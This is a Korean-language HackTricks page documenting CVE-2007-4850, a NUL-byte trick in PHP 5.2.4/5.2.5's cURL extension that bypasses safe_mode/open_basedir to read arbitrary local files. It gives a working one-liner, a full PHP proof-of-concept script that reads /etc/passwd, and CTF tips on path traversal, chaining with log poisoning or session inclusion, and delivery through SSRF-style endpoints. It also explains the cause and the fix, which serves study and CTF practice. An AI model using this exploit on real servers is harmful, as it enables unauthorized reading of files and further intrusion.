PHP 5.2.4 및 5.2.5 PHP cURL

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

이 νŽ˜μ΄μ§€λŠ” νŠΉμ • PHP 5.2.x λΉŒλ“œμ—μ„œ cURL ν™•μž₯을 μ΄μš©ν•΄ PHP safe_mode/open_basedir 검사λ₯Ό μš°νšŒν•˜λŠ”, λ ˆκ±°μ‹œμ΄μ§€λ§Œ CTFsλ‚˜ 둜컬 λ ˆκ±°μ‹œ μ„€μΉ˜μ—μ„œ μ—¬μ „νžˆ μœ μš©ν•œ νŠΈλ¦­μ„ λ¬Έμ„œν™”ν•©λ‹ˆλ‹€.

  • 영ν–₯ λŒ€μƒ: PHP 5.2.4 및 5.2.5 (ext/curl ν™œμ„±ν™”λ¨).
  • 영ν–₯: safe_mode λ˜λŠ” open_basedir μ œν•œμ—λ„ λΆˆκ΅¬ν•˜κ³  μž„μ˜μ˜ 둜컬 νŒŒμΌμ„ 읽을 수 있음 (직접적인 μ½”λ“œ 싀행은 μ•„λ‹˜).
  • ID: CVE-2007-4850.

좜처: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

μ›λΌμ΄λ„ˆ PoC

safe_mode λ˜λŠ” open_basedirκ°€ ν™œμ„±ν™”λ˜μ–΄ 있고 cURL이 ν™œμ„±ν™”λœ 경우, λ‹€μŒμ€ ν˜„μž¬ 슀크립트의 λ‚΄μš©μ„ λ°˜ν™˜ν•©λ‹ˆλ‹€:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

더 λͺ…ν™•ν•œ PoC (arbitrary file read)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

λ…ΈνŠΈ:

  • ν°λ”°μ˜΄ν‘œ λ˜λŠ” chr(0)을 μ‚¬μš©ν•΄ μ‹€μ œ NUL-byteλ₯Ό μ£Όμž…ν•˜μ„Έμš”. Percent-encoding (%00)은 μ‹ λ’°μ„± 있게 λ™μž‘ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.
  • 이것은 파일 읽기 ν”„λ¦¬λ―Έν‹°λΈŒμž…λ‹ˆλ‹€. κ°€λŠ₯ν•œ 경우 μΆ”κ°€ κΆŒν•œ μƒμŠΉμ„ μœ„ν•΄ λ‹€λ₯Έ ν”„λ¦¬λ―Έν‹°λΈŒ(log poisoning, session file inclusion λ“±)와 κ²°ν•©ν•˜μ„Έμš”.

μ™œ 이게 λ™μž‘ν•˜λŠ”κ°€ (μš”μ•½)

취약점은 PHP 5.2.4/5.2.5κ°€ ext/curlμ—μ„œ file:// URL에 λŒ€ν•΄ safe_mode/open_basedir 검사λ₯Ό μˆ˜ν–‰ν•˜λŠ” 방식에 μžˆμŠ΅λ‹ˆλ‹€. 검사 κ³Όμ •μ—μ„œ URL을 νŒŒμ‹±ν•˜κ³  경둜 κ΅¬μ„±μš”μ†Œλ₯Ό κ²€μ¦ν–ˆμ§€λ§Œ, NUL-byte 처리둜 인해 κ²€μ¦κΈ°λŠ” libcurlμ—μ„œ μ‹€μ œλ‘œ μ‚¬μš©ν•œ λ¬Έμžμ—΄κ³Ό λ‹€λ₯Έ λ¬Έμžμ—΄μ„ κ²€μ¦ν–ˆμŠ΅λ‹ˆλ‹€. μ‹€λ¬΄μ—μ„œλŠ” 검증기가 NUL μ΄ν›„μ˜ 경둜λ₯Ό μŠΉμΈν•  수 μžˆλŠ” 반면, libcurl은 NUL 이전 뢀뢄을 URL μ»¨ν…Œμ΄λ„ˆλ‘œ μ‚¬μš©ν•˜μ—¬ NUL λ°”μ΄νŠΈ 뒀에 놓인 νŒŒμΌμ„ 읽도둝 ν—ˆμš©ν•˜λŠ” μš°νšŒκ°€ λ°œμƒν–ˆμŠ΅λ‹ˆλ‹€. μžμ„Έν•œ λ‚΄μš©μ€ 원본 뢄석과 curl/interface.c의 영ν–₯을 λ°›λŠ” 맀크둜λ₯Ό ν™•μΈν•˜μ„Έμš”. [CVE-2007-4850].

μ œμ•½ 및 μˆ˜μ •μ‚¬ν•­

  • ext/curl의 νŒŒμ‹±/검증을 μˆ˜μ •ν•˜μ—¬ μ΄ν›„μ˜ 5.2.x(예: λ°°ν¬νŒμ—μ„œ 5.2.6으둜 패치된 λΉŒλ“œ)μ—μ„œ μˆ˜μ •λ˜μ—ˆμŠ΅λ‹ˆλ‹€.
  • 맀우 였래된 PHP λ°°ν¬μ—λ§Œ 영ν–₯을 λ―ΈμΉ©λ‹ˆλ‹€; safe_modeλŠ” PHP 5.4μ—μ„œ μ œκ±°λ˜μ—ˆκ³  μ΅œμ‹  λΉŒλ“œμ—μ„œλŠ” 이 λ™μž‘μ΄ μ—†μŠ΅λ‹ˆλ‹€.

κ΄€λ ¨λœ 역사적 cURL 기반 우회

  • CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappersκ°€ μž„λ² λ””λ“œ NUL둜 file:// 접근을 ν—ˆμš©ν•΄ open_basedirλ₯Ό μš°νšŒν•  수 μžˆμ—ˆμŒ; 5.2.x 이전에 μˆ˜μ •λ¨.
  • PHP bugs #30609/#36223λŠ” μ •κ·œν™” 없이 file://을 μ‚¬μš©ν•œ 초기 cURL open_basedir 문제λ₯Ό μΆ”μ ν–ˆμŠ΅λ‹ˆλ‹€. NUL byte μ΄μ „μ—μ„œμ˜ κ²€μ‚¬λ‚˜ realpath-μŠ€νƒ€μΌ 해상도가 μ—†λŠ” λͺ¨λ“  κ²€μ‚¬λŠ” λ™μΌν•œ μ ˆλ‹¨(truncation)에 μ·¨μ•½ν•©λ‹ˆλ‹€.

CTF 팁

  • ext/curl이 λ‘œλ“œλœ PHP 5.2.4/5.2.5λ₯Ό 식별할 λ•Œ(phpinfo()μ—μ„œ cURL support => enabled 및 μ •ν™•ν•œ PHP Version을 확인), 이 기법은 allow_url_fopen이 λΉ„ν™œμ„±ν™”λ˜μ–΄ μžˆμ–΄λ„ 일반적으둜 λ™μž‘ν•©λ‹ˆλ‹€. μ΄λŠ” ext/curl이 file://을 자체적으둜 μ²˜λ¦¬ν•˜κΈ° λ•Œλ¬Έμž…λ‹ˆλ‹€.
  • 직접 κ²½λ‘œκ°€ μ°¨λ‹¨λ˜λ©΄ NUL 이후에 μƒλŒ€ 경둜 νš‘λ‹¨μ„ μ‹œλ„ν•˜μ„Έμš”. 예: file://x\x00../../../../etc/passwd. νš‘λ‹¨μ€ open_basedir κ°€λ“œκ°€ μ•„λ‹ˆλΌ libcurl에 μ˜ν•΄ ν•΄μ„λ©λ‹ˆλ‹€.
  • μ·¨μ•½ν•œ μ„œλ²„μΈ‘ μ½”λ“œκ°€ μ‚¬μš©μž μ œμ–΄ URL을 curl_exec()둜 κ·ΈλŒ€λ‘œ λ°˜μ˜ν•˜λŠ” 경우(λ ˆκ±°μ‹œ SSRF μœ μ‚¬ μ—”λ“œν¬μΈνŠΈμ—μ„œ 흔함), νŽ˜μ΄λ‘œλ“œλ₯Ό 단일 HTTP μš”μ²­ 바디에 감싸 LFIλ₯Ό μœ λ°œν•  수 μžˆμŠ΅λ‹ˆλ‹€.

μ°Έμ‘°

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

HackTricks

References

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°